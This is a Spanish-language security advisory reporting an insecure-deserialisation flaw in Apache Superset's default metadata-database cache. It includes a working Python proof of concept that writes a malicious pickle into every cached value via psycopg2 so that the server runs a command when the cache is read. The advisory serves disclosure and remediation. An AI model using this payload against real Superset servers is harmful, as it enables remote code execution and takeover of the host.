
Explotación de la caché predeterminada de superset mediante pickle
[ Autor ] Dinis Cruz
[ Proyecto ] Superset
Apache Superset presenta diferentes opciones para el almacenamiento en caché, todas basadas en Flask-Caching. Se proporciona una caché incorporada que serializa valores para su posterior recuperación. Esta serialización y recuperación se realizan utilizando Pickle, lo que permite la deserialización de objetos de Python y, por lo tanto, la ejecución de código.
La caché incorporada escribe información dentro de la base de datos de metadatos, lo que significa que un atacante con acceso a esta base de datos puede escalar sus privilegios y obtener acceso remoto a la máquina/contenedor que sirve Superset.
Clase MetaStoreCache, que utiliza la clase PickleKeyValueCodec para la serialización de información.
Este problema se reprodujo creando primero una instalación limpia de Superset que utilizará la caché incorporada como predeterminada.
Con el conocimiento ya establecido de que se necesita acceso a la base de datos para explotar este problema. Podemos actualizar los valores de todos los valores en caché con el exploit de Pickle. Más tarde, una vez que el valor se devuelva al usuario, el módulo pickle serializará los datos y ejecutará nuestro código. A continuación se muestra una PoC en Python.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
Este script actualiza todos los valores almacenados en caché dentro de la base de datos y, una vez que los datos se devuelven al usuario, se crea un archivo evil.sh dentro del directorio /tmp con fines de demostración.
Todos los usuarios podrían verse afectados.
Puntuación: 9.1
Si bien la solución depende del equipo de Superset. El gran problema radica en el uso de Pickle para la serialización de datos. Por lo que entiendo del commit #23888, se realizó un cambio para eliminar la serialización Pickle de otros componentes, pero este se mantuvo debido a la necesidad de "manejar tipos binarios arbitrarios". La solución más limpia sería cambiar a otro mecanismo de serialización; sin embargo, se podría implementar un unpickler restringido, que no es una solución segura pero posiblemente requeriría menos trabajo al implementarlo.
Acceso a la base de datos de metadatos utilizada por la instalación de Superset.
No se requiere configuración especial, solo un intérprete de Python para generar el payload; la introducción del payload malicioso en la base de datos se puede realizar de varias maneras.